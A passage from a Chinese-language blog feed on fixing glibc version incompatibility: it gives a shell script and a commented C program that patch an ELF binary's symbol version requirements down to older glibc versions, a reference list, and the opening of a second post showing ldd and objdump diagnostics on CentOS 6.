# - sets GLIBC 2_14 to weak to run targets on older libcs.

set -e
if [ ! -x $1 ]; then
    exit -1
fi

SECTION_OFFSET=$(printf &amp;quot;%d&amp;quot; $(readelf -V $1    |grep &amp;#x27;.gnu.version_r&amp;#x27; -A1 | grep &amp;#x27;Offset&amp;#x27;    | awk &amp;#x27;{print $4}&amp;#x27;))
GLIB_2_14_OFFSET=$(printf &amp;quot;%d&amp;quot; $(readelf -V $1 | grep &amp;#x27;Name: GLIBC_2.14&amp;#x27;   | awk &amp;#x27;{print $1}&amp;#x27; | tr -d :         ))

INDEX=$(( SECTION_OFFSET + GLIB_2_14_OFFSET + 4 + 1 ))

echo &amp;quot;Going to patch $1: &amp;quot;
echo &amp;quot;.gnu_version_r table (@ $(printf &amp;#x27;%0X&amp;#x27; $SECTION_OFFSET))&amp;quot;
echo &amp;quot;----&amp;gt; GLIBC_2.14 (@ $(printf &amp;#x27;%0X&amp;#x27; $GLIB_2_14_OFFSET))&amp;quot;
echo &amp;quot;Offset $(printf &amp;#x27;%0X&amp;#x27; $INDEX)&amp;quot;

xxd -c 1 -p $1 | awk &amp;quot;{if (NR==$INDEX)\$0=\&amp;quot;02\&amp;quot;; print;}&amp;quot; | xxd -r -c 1 -p  &amp;gt; $1.patched
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;脚本的地址在这里：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mathew-hall&#x2F;glibc_hack&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;mathew-hall&#x2F;glibc_hack&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-xiu-gai-gao-ban-ben-yi-lai-dao-di-ban-ben-de-xiao-cheng-xu&quot;&gt;2、修改高版本依赖到低版本的小程序&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;oloroso&#x2F;p&#x2F;12877210.html#2197074516&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;下面代码是对网上一个程序的修改，用于将 &lt;code&gt;ELF64&lt;&#x2F;code&gt; （如果要处理32位程序，将其中的一些结构体类型的&lt;code&gt;64&lt;&#x2F;code&gt;改为&lt;code&gt;32&lt;&#x2F;code&gt;即可）文件中的对 &lt;code&gt;libc.so.6&lt;&#x2F;code&gt; 依赖的符号，对其依赖的高 &lt;code&gt;GLIBC_xxx&lt;&#x2F;code&gt; 版本（&lt;code&gt;2.12&lt;&#x2F;code&gt;及以上）替换为低版本（&lt;code&gt;2.2.5&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Copy
&amp;#x2F;* (c) 2012 Andrei Nigmatulin *&amp;#x2F;
&amp;#x2F;* Modifiers solym(ymwh@foxmail.com) *&amp;#x2F;
&amp;#x2F;* 用于去除对 GLIBC 的高版本依赖，将高版本符号替换到低版本 *&amp;#x2F;

#include &amp;lt;elf.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;mman.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;stat.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

&amp;#x2F;&amp;#x2F;  ELF文件解析（二）：ELF header详解
&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;www.cnblogs.com&amp;#x2F;jiqingwu&amp;#x2F;p&amp;#x2F;elf_explore_2.html
&amp;#x2F;&amp;#x2F; ELF文件格式
&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;www.cntofu.com&amp;#x2F;book&amp;#x2F;114&amp;#x2F;Theory&amp;#x2F;ELF.md
&amp;#x2F;&amp;#x2F; ELF文件格式解析(完)
&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;www.52pojie.cn&amp;#x2F;thread-591986-1-1.html

struct glibc_version_index {
  const char *version_str; &amp;#x2F;&amp;#x2F; 标识版本的字符串
  unsigned version_idx;    &amp;#x2F;&amp;#x2F; 记录这个版本的版本索引值
};

int process_elf(void *elf, size_t elf_sz) {
  &amp;#x2F;&amp;#x2F; 获取 ELF文件头，在文件的开始，保存了路线图，描述了该文件的组织情况
  Elf64_Ehdr *elf_hdr = elf;
  &amp;#x2F;&amp;#x2F; 获取 节头表(Section header table)
  Elf64_Shdr *sh = (Elf64_Shdr *)((char *)elf + elf_hdr-&amp;gt;e_shoff);
  &amp;#x2F;&amp;#x2F; 获取 节头字符串表
  Elf64_Shdr *sh_str = sh + elf_hdr-&amp;gt;e_shstrndx;
  char *strtab = (char *)elf + sh_str-&amp;gt;sh_offset;

  &amp;#x2F;&amp;#x2F; 指向 .dynsym 表位置
  Elf64_Shdr *sh_dynsym = 0;
  Elf64_Sym *dynsym = 0;    &amp;#x2F;&amp;#x2F; 指向符号信息表
  &amp;#x2F;&amp;#x2F; 指向 .dynstr 表位置
  Elf64_Shdr *sh_dynstr = 0;
  char *dynstr = 0;
  &amp;#x2F;&amp;#x2F; 指向 .gnu.version 表位置
  Elf64_Shdr *sh_version = 0;
  unsigned short *versions = 0; &amp;#x2F;&amp;#x2F; 版本索引值列表
&amp;#x2F;&amp;#x2F; 指向 .gnu.version_r 表位置
  Elf64_Shdr *sh_version_r = 0;
  Elf64_Verneed *verneed = 0; &amp;#x2F;&amp;#x2F; 用于遍历版本依赖节表

  unsigned i;
  &amp;#x2F;&amp;#x2F; 遍历 节头 每一个 表
  for (i = 1; i &amp;lt; elf_hdr-&amp;gt;e_shnum; i++) {
    &amp;#x2F;&amp;#x2F; 获取指针
    Elf64_Shdr *this = sh + i;
    &amp;#x2F;&amp;#x2F; 获取当前节名称
    char *name = strtab + this-&amp;gt;sh_name;

    &amp;#x2F;&amp;#x2F; 判断是否是 .dynsym 表
    &amp;#x2F;&amp;#x2F; .dynsym表包含有关动态链接所需的所有符号的信息
    &amp;#x2F;&amp;#x2F;  该表中的某个位置隐藏了依赖于该新glibc的函数的名称
    if (this-&amp;gt;sh_type == SHT_DYNSYM &amp;amp;&amp;amp; 0 == strcmp(name, &amp;quot;.dynsym&amp;quot;)) {
      sh_dynsym = this;
      dynsym = (typeof(dynsym))((char *)elf + this-&amp;gt;sh_offset);
      printf(&amp;quot;找打 .dynsym section\n&amp;quot;);
    }
    &amp;#x2F;&amp;#x2F; 判断是否是 .dynstr 表
    &amp;#x2F;&amp;#x2F; .dynstr 表包含实际版本的实际字符串（.gnu.version_r 仅是记录值）
    else if (this-&amp;gt;sh_type == SHT_STRTAB &amp;amp;&amp;amp; !strcmp(name, &amp;quot;.dynstr&amp;quot;)) {
      sh_dynstr = this;
      dynstr = (typeof(dynstr))((char *)elf + this-&amp;gt;sh_offset);
      printf(&amp;quot;找到 .dynstr section\n&amp;quot;);
    }
    &amp;#x2F;&amp;#x2F; 判断是否是 .gnu.version 表
    &amp;#x2F;&amp;#x2F; .gnu.version表它包含所有动态符号的版本信息
    &amp;#x2F;&amp;#x2F; .dynsym中列出的每个符号都会在此处有一个对应的条目
    else if (this-&amp;gt;sh_type == SHT_GNU_versym &amp;amp;&amp;amp; !strcmp(name, &amp;quot;.gnu.version&amp;quot;)) {
      sh_version = this;
      versions = (typeof(versions))((char *)elf + this-&amp;gt;sh_offset);
      printf(&amp;quot;找到 .gnu.version section\n&amp;quot;);
    }
    &amp;#x2F;&amp;#x2F; 判断是否是 .gnu.version_r 表
    &amp;#x2F;&amp;#x2F; .gnu.version_r 表包含二进制文件所需的库版本（因此带有_r后缀）
    &amp;#x2F;&amp;#x2F; 每个条目都显示版本名称（GLIBC_2.2.5，GLIBC_2.14等），并在其末尾显示“版本号”
    &amp;#x2F;&amp;#x2F;“版本”号用词不准确，实际上是其他表可以用来引用它的索引。
    else if (this-&amp;gt;sh_type == SHT_GNU_verneed &amp;amp;&amp;amp;
             !strcmp(name, &amp;quot;.gnu.version_r&amp;quot;)) {
      sh_version_r = this;
      verneed = (typeof(verneed))((char *)elf + this-&amp;gt;sh_offset);
      printf(&amp;quot;找到 .gnu.version_r section\n&amp;quot;);
    }
  }

  if (!sh_dynsym || !sh_dynstr || !sh_version || !sh_version_r) {
    fprintf(stderr, &amp;quot;没有找到有效表节\n&amp;quot;);
    return -1;
  }

  &amp;#x2F;* 记录 GLIBC_2.2.5 版本索引 *&amp;#x2F;
  struct glibc_version_index glibc_2_2_5 = {&amp;quot;GLIBC_2.2.5&amp;quot;, -1U};
  &amp;#x2F;&amp;#x2F; 记录 高版本 在版本索引的位置
  struct glibc_version_index glibc_highver_arr[] = {
      &amp;#x2F;*{&amp;quot;GLIBC_2.3&amp;quot;, -1U},   {&amp;quot;GLIBC_2.3.2&amp;quot;, -1U}, {&amp;quot;GLIBC_2.3.3&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.3.4&amp;quot;, -1U}, {&amp;quot;GLIBC_2.4&amp;quot;, -1U},   {&amp;quot;GLIBC_2.5&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.6&amp;quot;, -1U},   {&amp;quot;GLIBC_2.7&amp;quot;, -1U},   {&amp;quot;GLIBC_2.8&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.9&amp;quot;, -1U},   {&amp;quot;GLIBC_2.10&amp;quot;, -1U},  {&amp;quot;GLIBC_2.11&amp;quot;, -1U},*&amp;#x2F;
      {&amp;quot;GLIBC_2.12&amp;quot;, -1U}, {&amp;quot;GLIBC_2.13&amp;quot;, -1U}, {&amp;quot;GLIBC_2.14&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.15&amp;quot;, -1U}, {&amp;quot;GLIBC_2.16&amp;quot;, -1U}, {&amp;quot;GLIBC_2.17&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.18&amp;quot;, -1U}, {&amp;quot;GLIBC_2.22&amp;quot;, -1U}, {&amp;quot;GLIBC_2.23&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.24&amp;quot;, -1U}, {&amp;quot;GLIBC_2.25&amp;quot;, -1U}, {&amp;quot;GLIBC_2.26&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.27&amp;quot;, -1U}, {&amp;quot;GLIBC_2.28&amp;quot;, -1U}, {&amp;quot;GLIBC_2.29&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.30&amp;quot;, -1U}, {&amp;quot;GLIBC_2.31&amp;quot;, -1U}, {&amp;quot;GLIBC_2.32&amp;quot;, -1U},
      {&amp;quot;GLIBC_2.32&amp;quot;, -1U}, {&amp;quot;GLIBC_2.34&amp;quot;, -1U}, {&amp;quot;GLIBC_2.35&amp;quot;, -1U}};
    unsigned glibc_highver_count = sizeof(glibc_highver_arr)&amp;#x2F;sizeof(glibc_highver_arr[0]);

    &amp;#x2F;**
    * typedef struct {
    *         Elf64_Half      vn_version; &amp;#x2F;&amp;#x2F; 此成员标识该结构的版本(0表示无效版本)
    *         Elf64_Half      vn_cnt;     &amp;#x2F;&amp;#x2F; Elf64_Vernaux 数组中的元素数目
    *         Elf64_Word      vn_file;    &amp;#x2F;&amp;#x2F; 以空字符结尾的字符串的字符串表偏移，用于提供版本依赖性的文件名。
    *                                     &amp;#x2F;&amp;#x2F; 此名称与文件中找到的 .dynamic 依赖项之一匹配。
    *         Elf64_Word      vn_aux;     &amp;#x2F;&amp;#x2F; 字节偏移，范围从此 Elf64_Verneed 项的开头到关联文件依赖项所需的版本定义的 Elf64_Vernaux
    *                                     &amp;#x2F;&amp;#x2F; 数组。必须存在至少一种版本依赖性。也可以存在其他版本依赖性，具体数目由 vn_cnt 值表示。
    *         Elf64_Word      vn_next;    &amp;#x2F;&amp;#x2F; 从此 Elf64_Verneed 项的开头到下一个 Elf64_Verneed 项的字节偏移
    * } Elf64_Verneed;
    *&amp;#x2F;

  Elf64_Verneed *next_verneed;
  int last = 0;
  &amp;#x2F;&amp;#x2F; 遍历 .gnu.version_r 表
  for (; !last; verneed = next_verneed) {
    &amp;#x2F;&amp;#x2F; 获取依赖的文件名
    char *filename = dynstr + verneed-&amp;gt;vn_file;
    &amp;#x2F;&amp;#x2F; 获取下一个 表项
    next_verneed = (typeof(next_verneed))((char *)verneed + verneed-&amp;gt;vn_next);
    &amp;#x2F;&amp;#x2F; 判断当前是否是最后一个表项了
    last = verneed-&amp;gt;vn_next == 0;
    &amp;#x2F;&amp;#x2F; 依赖文件不是 libc.so.6，就跳过
    if (strcmp(filename, &amp;quot;libc.so.6&amp;quot;) &amp;amp;&amp;amp; strcmp(filename, &amp;quot;libm.so.6&amp;quot;)) {
      continue;
    }

    &amp;#x2F;&amp;#x2F; 获取 Elf64_Vernaux 数组的结尾
    char *end_of_naux = (char *)next_verneed;
    if (last) {
      end_of_naux = (char *)elf + sh_version_r-&amp;gt;sh_offset + sh_version_r-&amp;gt;sh_size;
    }

    &amp;#x2F;**
    * typedef struct {
    *         Elf64_Word      vna_hash;    &amp;#x2F;&amp;#x2F; 版本依赖性名称的散列值
    *         Elf64_Half      vna_flags;   &amp;#x2F;&amp;#x2F; 版本依赖性特定信息(VER_FLG_WEAK[0x2]弱版本标识符)
    *         Elf64_Half      vna_other;   &amp;#x2F;&amp;#x2F; 目前未使用
    *         Elf64_Word      vna_name;    &amp;#x2F;&amp;#x2F; 以空字符结尾的字符串的字符串表偏移，用于提供版本依赖性的名称。
    *         Elf64_Word      vna_next;    &amp;#x2F;&amp;#x2F; 从此 Elf64_Vernaux 项的开头到下一个 Elf64_Vernaux 项的字节偏移
    * } Elf64_Vernaux;
    *&amp;#x2F;
    &amp;#x2F;&amp;#x2F; 获取 Elf64_Vernaux 数组的元素数，首个元素
    unsigned cnt = verneed-&amp;gt;vn_cnt;
    Elf64_Vernaux *naux = (typeof(naux))((char *)verneed + verneed-&amp;gt;vn_aux);
    Elf64_Vernaux *next_naux;
    &amp;#x2F;&amp;#x2F; 遍历 Elf64_Vernaux 数组（记录每一个依赖版本的信息）
    for (; cnt--; naux = next_naux) {
      char *name = dynstr + naux-&amp;gt;vna_name; &amp;#x2F;&amp;#x2F; GLIBC_xxx 字符串
      &amp;#x2F;&amp;#x2F; 指向下一个元素
      next_naux = (typeof(next_naux))((char *)naux + naux-&amp;gt;vna_next);
      printf(&amp;quot;检查 %p %s %u\n&amp;quot;, naux, name, naux-&amp;gt;vna_next);
      &amp;#x2F;&amp;#x2F; 如果是 GLIBC_2.2.5 记录下索引值
      if (strcmp(name, glibc_2_2_5.version_str) == 0) {
        glibc_2_2_5.version_idx = naux-&amp;gt;vna_other;
        continue;
      }
      &amp;#x2F;&amp;#x2F; 判断是否在高版本列表里面
      unsigned hveridx = 0;
      for (; hveridx &amp;lt; glibc_highver_count; ++hveridx) {
        if (strcmp(name, glibc_highver_arr[hveridx].version_str) == 0) {
          break;
        }
      }
      &amp;#x2F;&amp;#x2F; 如果属于高版本中的一个
      if (hveridx != glibc_highver_count) {
          &amp;#x2F;&amp;#x2F; 记录下索引值
        glibc_highver_arr[hveridx].version_idx = naux-&amp;gt;vna_other;
        &amp;#x2F;&amp;#x2F; 将整个 Elf64_Vernaux 数组当前项后面元素向前移动
        &amp;#x2F;&amp;#x2F; 也就是将当前项从数组中移除掉
        if (cnt &amp;gt; 0 &amp;#x2F;*剩余未处理元素必须大于0，才需要*&amp;#x2F; ) {
          memmove(naux, next_naux, end_of_naux - (char *)next_naux);
        }
        &amp;#x2F;&amp;#x2F; 下一个指向当前，也就是前移一个元素（因为这个元素已经被覆盖了，或者就是最后一个）
        next_naux = naux;
      }
    }
    &amp;#x2F;&amp;#x2F; 处理完 libc.so.6 就跳出
    break;
  }

  if (glibc_2_2_5.version_idx == -1U) {
    fprintf(stderr, &amp;quot;无法找到 GLIBC_2.2.5 索引值\n&amp;quot;);
    return -1;
  }
  for (i = 0; i &amp;lt; glibc_highver_count; ++i) {
    if (glibc_highver_arr[i].version_idx != -1U) {
      printf(&amp;quot;%s 索引值: %d\n&amp;quot;, glibc_highver_arr[i].version_str,
             glibc_highver_arr[i].version_idx);
    }
  }

  &amp;#x2F;&amp;#x2F; 找到并修补所有依赖 GLIBC_2.xx 高版本号的符号
  for (i = 1; i &amp;lt; sh_version-&amp;gt;sh_size &amp;#x2F; sizeof(unsigned short); i++) {
    unsigned short v = versions[i];
    &amp;#x2F;&amp;#x2F; 判断版本是否为高版本
    unsigned hveridx = 0;
    for (; hveridx &amp;lt; glibc_highver_count; ++hveridx) {
      if (v == glibc_highver_arr[hveridx].version_idx) {
        break;
      }
    }
    &amp;#x2F;&amp;#x2F; 不是就跳过
    if (hveridx == glibc_highver_count) {
      continue;
    }
    &amp;#x2F;&amp;#x2F; 修改版本到 2.2.5
    printf(&amp;quot;  修改 &amp;#x27;%s&amp;#x27;: %s(%u) -&amp;gt; %s(%u)\n&amp;quot;, dynstr + dynsym[i].st_name,
           glibc_highver_arr[hveridx].version_str,glibc_highver_arr[hveridx].version_idx,
            glibc_2_2_5.version_str,glibc_2_2_5.version_idx);
    &amp;#x2F;&amp;#x2F; 修改高版本的到低版本
    versions[i] = glibc_2_2_5.version_idx; &amp;#x2F;&amp;#x2F; 这里也可以写成 =0 (local defualt)
  }
  return 0;
}

int main(int argc, char **argv) {
  if (argc &amp;lt; 2) {
    fprintf(stderr, &amp;quot;用法: %s &amp;lt;filename&amp;gt;\n&amp;quot;, argv[0]);
    return 1;
  }
&amp;#x2F;&amp;#x2F; 打开输入文件
  int fd = open(argv[1], O_RDWR);

  if (0 &amp;gt; fd) {
    perror(&amp;quot;打开文件失败&amp;quot;);
    return 1;
  }

  &amp;#x2F;&amp;#x2F; 获取文件状态信息，主要是获取文件大小
  struct stat st;
  if (0 &amp;gt; fstat(fd, &amp;amp;st)) {
    perror(&amp;quot;获取文件状态失败&amp;quot;);
    close(fd);
    return 1;
  }
  &amp;#x2F;&amp;#x2F; 进行内存映射文件，便于后面处理的时候直接操作
  void *mem = mmap(0, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

  if (mem == MAP_FAILED) {
    perror(&amp;quot;内存映射文件失败&amp;quot;);
    close(fd);
    return 1;
  }
  close(fd);
  &amp;#x2F;&amp;#x2F; 处理文件
  process_elf(mem, st.st_size);
  &amp;#x2F;&amp;#x2F; 将修改同步到文件
  if (0 &amp;gt; msync(mem, st.st_size, MS_SYNC)) {
    perror(&amp;quot;msync() failed&amp;quot;);
    return 1;
  }
  &amp;#x2F;&amp;#x2F; 解除内存映射
  munmap(mem, st.st_size);
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改前代码在在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;anight&#x2F;patch-memcpy&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;anight&#x2F;patch-memcpy&lt;&#x2F;a&gt; 里面，这里主要将原本仅仅对 &lt;code&gt;GLIBC_2.14&lt;&#x2F;code&gt; 的处理，修改为对更多版本的处理。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;oloroso&#x2F;p&#x2F;12877210.html#3248535184&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;lsgxeva&#x2F;p&#x2F;9645928.html&quot;&gt;linux 修改 elf 文件的dynamic linker 和 rpath&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zohead.com&#x2F;archives&#x2F;mod-elf-glibc&#x2F;&quot;&gt;Linux修改ELF解决glibc兼容性问题&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;tsecer&#x2F;p&#x2F;10485857.html&quot;&gt;Linux下符号版本原理及实现&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.blahgeek.com&#x2F;glibc-and-symbol-versioning&#x2F;&quot;&gt;glibc和Symbol Versioning和如何链接出低版本glibc可运行的程序&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;baidu_32526299&#x2F;article&#x2F;details&#x2F;79883985&quot;&gt;GLIBC_2.14 兼容问题 version `GLIBC_2.14′ not found&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;dream_gf&#x2F;article&#x2F;details&#x2F;81181388&quot;&gt;Linux下安装glibc-2.14，解决“`GLIBC_2.14&#x27; not found”问题&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Lovegengxin&#x2F;article&#x2F;details&#x2F;81909056&quot;&gt;linux系统各发行版本出厂时glibc的版本列表&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;anight&#x2F;patch-memcpy&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;anight&#x2F;patch-memcpy&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.oracle.com&#x2F;cd&#x2F;E19253-01&#x2F;819-7050&#x2F;chapter6-61174&#x2F;index.html&quot;&gt; 链接程序和库指南  &amp;gt; 第 7 章 目标文件格式  &amp;gt; 文件格式  &amp;gt; 版本控制节  &amp;gt; 版本依赖性节]&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.douban.com&#x2F;note&#x2F;661045919&#x2F;&quot;&gt;Linux下符号版本原理及实现&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.kangkang.org&#x2F;index.php&#x2F;archives&#x2F;17&quot;&gt;从gcc静态链接开始的讨论，学了好几手&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;lianshaohua&#x2F;article&#x2F;details&#x2F;82143337&quot;&gt;gcc&#x2F;g++静态链接和动态链接解决glibc版本不兼容的问题&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cntofu.com&#x2F;book&#x2F;114&#x2F;Theory&#x2F;ELF.md&quot;&gt;ELF文件格式&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;linyt&#x2F;article&#x2F;details&#x2F;46841845&quot;&gt;谈谈Linux应用程序 ABI兼容性&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Mozilla&#x2F;Firefox&#x2F;Linux_compatibility_matrix&quot;&gt;Linux compatibility matrix&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;847179&#x2F;multiple-glibc-libraries-on-a-single-host&quot;&gt;Multiple glibc libraries on a single host&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;ee1ad4044ef7&quot;&gt;同时使用多种版本的libc &amp;amp;&amp;amp; 编译libc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.e-learn.cn&#x2F;topic&#x2F;2955440&quot;&gt;Linux C++ 应用二进制兼容实践&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Mr_HHH&#x2F;article&#x2F;details&#x2F;83104485&quot;&gt;更改引用高版本glibc的程序到引用低版本的glibc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 修改 ELF 解决 glibc 兼容性问题</title>
        <published>2024-08-20T00:00:00+00:00</published>
        <updated>2024-08-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-修改-elf-解决-glibc-兼容性问题/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-修改-elf-解决-glibc-兼容性问题/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-修改-elf-解决-glibc-兼容性问题/">&lt;h1 id=&quot;linux-xiu-gai-elf-jie-jue-glibc-jian-rong-xing-wen-ti&quot;&gt;Linux 修改 ELF 解决 glibc 兼容性问题&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;Linuxglibc 问题&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相信有不少 Linux 用户都碰到过运行第三方（非系统自带软件源）发布的程序时的 glibc 兼容性问题，这一般是由于当前 Linux 系统上的 GNU C 库（glibc）版本比较老导致的，例如我在 CentOS 6 64 位系统上运行某第三方闭源软件时会报：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# ldd tester
.&amp;#x2F;tester: &amp;#x2F;lib64&amp;#x2F;libc.so.6: version `GLIBC_2.17&amp;#x27; not found (required by .&amp;#x2F;tester)
.&amp;#x2F;tester: &amp;#x2F;lib64&amp;#x2F;libc.so.6: version `GLIBC_2.14&amp;#x27; not found (required by .&amp;#x2F;tester)
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe795fe000)
        libpthread.so.0 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libpthread.so.0 (0x00007fc7d4c73000)
        libOpenCL.so.1 =&amp;gt; &amp;#x2F;usr&amp;#x2F;lib64&amp;#x2F;libOpenCL.so.1 (0x00007fc7d4a55000)
        libdl.so.2 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libdl.so.2 (0x00007fc7d4851000)
        libm.so.6 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libm.so.6 (0x00007fc7d45cd000)
        libgcc_s.so.1 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libgcc_s.so.1 (0x00007fc7d43b7000)
        libc.so.6 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libc.so.6 (0x00007fc7d4023000)
        &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007fc7d4e90000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CentOS 6 自带的 glibc 还是很老的 2.12 版本，而下载的第三方程序依赖 glibc 2.17 版本，这种情况要么自己重新编译程序，要么只能升级系统的 glibc 版本。由于我使用的程序是第三方编写并且是闭源软件无法自己编译，升级 glibc 固然可能能解决问题，但是 glibc 做为最核心的基础库，在生产环境上直接升级毕竟动作还是太大，因此希望还是能有更好的解决途径。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题分析&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先我们可以检查一下程序使用了新版本 glibc 的哪些符号，使用 objdump 命令可以查看 ELF 文件的动态符号信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# objdump -T tester | grep GLIBC_2.1.*
0000000000000000      DF *UND*  0000000000000000  GLIBC_2.14  memcpy
0000000000000000      DF *UND*  0000000000000000  GLIBC_2.17  clock_gettime
